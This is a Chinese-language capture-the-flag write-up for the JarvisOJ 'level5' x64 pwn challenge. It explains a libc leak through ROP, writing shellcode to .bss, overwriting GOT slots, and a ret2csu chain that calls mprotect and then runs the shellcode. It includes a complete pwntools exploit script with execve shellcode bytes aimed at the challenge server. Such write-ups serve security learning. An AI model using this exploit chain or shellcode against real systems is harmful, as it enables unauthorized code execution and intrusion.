本题首先要求不用使用system和execve，要不然直接ret2libc就可以做了，但不能用所以要bss写入shellcode然后ret2shellcode；这里先用ret2libc中ROP泄露libc基址（write函数只写了rdi，rsi参数，因为没有gadget所以没法写rdx了，但是本题的环境运行到此处rdx是很大的一个值所以没关系）；同理写入shellcode后然后用两次ROP——read函数把mprotect\_addr和bss\_addr写入got表（ret2csu第二段call只能调用got表中存在的函数——且本题got表中正好有两个地方可以写入），然后两次ret2scu依次调用call mprotect\_got 和 bss\_got即可，很好的一道题

<https://blog.csdn.net/weixin_41617275/article/details/84955439>

level5要求不用system和execve，而是用mprotect和mmap，查了一下，mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行，mprotect函数是将从addr开始的地址 ，长度位len的内存的访问权限。毫无头绪。查了网上大神的wp，才知道思路。

首先leak地址，shellcode写入bss没什么好说的。

要说下为什么要把bss和mprotect写入got表

.text:0000000000400690 loc\_400690:

.text:0000000000400690 mov rdx, r13

.text:0000000000400693 mov rsi, r14

.text:0000000000400696 mov edi, r15d

.text:0000000000400699 call qword ptr [r12+rbx\*8]

.text:000000000040069D add rbx, 1

.text:00000000004006A1 cmp rbx, rbp

.text:00000000004006A4 jnz short loc\_400690

.text:00000000004006A6

.text:00000000004006A6 loc\_4006A6:

.text:00000000004006A6 add rsp, 8

.text:00000000004006AA pop rbx

.text:00000000004006AB pop rbp

.text:00000000004006AC pop r12

.text:00000000004006AE pop r13

.text:00000000004006B0 pop r14

.text:00000000004006B2 pop r15

.text:00000000004006B4 retn

是因为我们可以利用 \_\_libc\_csu\_init中loc\_4006A6处给这6个寄存器赋值，然后通过跳转到loc\_400690处给前三个寄存器赋值，同时还可以控制r12和rbx来控制400699处的call，使用其他地方的函数，完美。而call其他函数需要在got表中存有，可以添加在got表中空闲处。而像level1那样直接修改返回地址则不需要添加进got表。

那么把bss和mprotect添加got表后，我在payload5处卡了很久，一直理解不了，终于想通了。说一下理解：

payload5='a'\*0x88+p64(0x4006A6)+"ret\_addr" + p64(0) + p64(1) +p64(mprot\_got) + p64(7) +p64(0x1000)+p64(0x600000)

1

这一句p64(0x4006A6)+"ret\_addr"是跳转到6a6处，'ret\_addr’是跳转到其他地方时需要先将下一跳压栈我们是模拟压栈，然后后面的六个参数分别赋给rbx， rbp， r12，r13， r14，r15。

payload5 += p64(0x400690)+"ret\_addr"

这句跳到690处，赋值给前三个参数寄存器，同时call [r12+rbx\*8]，我们令r12=mprotect\_addr，rbx=0就可以调用mprotect，参数就是刚刚赋值的。调用完后，我们需要继续运行到6a6处，因为shellcode还没执行，我们需要改变r12的值，此时有

.text:000000000040069D add rbx, 1

.text:00000000004006A1 cmp rbx, rbp

.text:00000000004006A4 jnz short loc\_400690

因此我们上面将rbp赋为1，令rbx=rbp，就不会回到690处，而是向下执行。

payload5 += p64(0) + p64(1) + p64(bss\_got) + p64(0) + p64(0) + p64(0)

1

这是向下执行的参数，不多说。

payload5 += p64(0x400690)

1

这里跳到690处，执行shellcode。

下面放上脚本：

from pwn import\*

context.log\_level = "debug"

p=remote('pwn2.jarvisoj.com',9884)

e = ELF("./level3\_x64")

libc = ELF("./libc-2.19.so")

######### leak

write\_plt = e.plt["write"]

write\_got = e.got["write"]

vul\_addr = e.symbols["vulnerable\_function"]

rdi = 0x00000000004006b3

rsi\_r15 = 0x00000000004006b1

payload1 = 'a'\*0x88+p64(rdi)+p64(1)+p64(rsi\_r15)+p64(write\_got)+'a'\*8+p64(write\_plt)+p64(vul\_addr)

p.recvline()

p.send(payload1)

tmp=p.recv(8)

write\_addr=u64(tmp[0:8])

print hex(write\_addr)

offset=write\_addr-libc.symbols['write']

########### read shell code to bss

bss\_addr=e.bss()

read\_plt=e.symbols['read']

payload2='a'\*0x88+p64(rdi)+p64(0)+p64(rsi\_r15)+p64(bss\_addr)+'a'\*8+p64(read\_plt)+p64(vul\_addr)

p.recvline()

p.send(payload2)

shell\_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p.send(shell\_code)

###########write bss to got table

bss\_got= 0x0000000000600A48

payload3='a'\*0x88+p64(rdi)+p64(0)+p64(rsi\_r15)+p64(bss\_got)+'a'\*8+p64(read\_plt)+p64(vul\_addr)

p.recvline()

p.send(payload3)

p.send(p64(bss\_addr))

###########write mpro to got table

mprot\_got= 0x0000000000600A50

mprot\_addr=libc.symbols['mprotect']+offset

payload4='a'\*0x88+p64(rdi)+p64(0)+p64(rsi\_r15)+p64(mprot\_got)+'a'\*8+p64(read\_plt)+p64(vul\_addr)

p.recvline()

p.send(payload4)

p.send(p64(mprot\_addr))

########### jmp to \_\_libc\_csu\_init to call shellcode

'''

.text:0000000000400690 loc\_400690:

.text:0000000000400690 mov rdx, r13

.text:0000000000400693 mov rsi, r14

.text:0000000000400696 mov edi, r15d

.text:0000000000400699 call qword ptr [r12+rbx\*8]

.text:000000000040069D add rbx, 1

.text:00000000004006A1 cmp rbx, rbp

.text:00000000004006A4 jnz short loc\_400690

.text:00000000004006A6

.text:00000000004006A6 loc\_4006A6:

.text:00000000004006A6 add rsp, 8

.text:00000000004006AA pop rbx

.text:00000000004006AB pop rbp

.text:00000000004006AC pop r12

.text:00000000004006AE pop r13

.text:00000000004006B0 pop r14

.text:00000000004006B2 pop r15

.text:00000000004006B4 retn

'''

payload5='a'\*0x88+p64(0x4006A6)+"ret\_addr" + p64(0) + p64(1) +p64(mprot\_got) + p64(7) +p64(0x1000)+p64(0x600000)

payload5 += p64(0x400690)

payload5 += "ret\_addr" + p64(0) + p64(1) + p64(bss\_got) + p64(0) + p64(0) + p64(0)

payload5 += p64(0x400690)

p.recvline()

p.send(payload5)

sleep(5)

p.interactive()

————————————————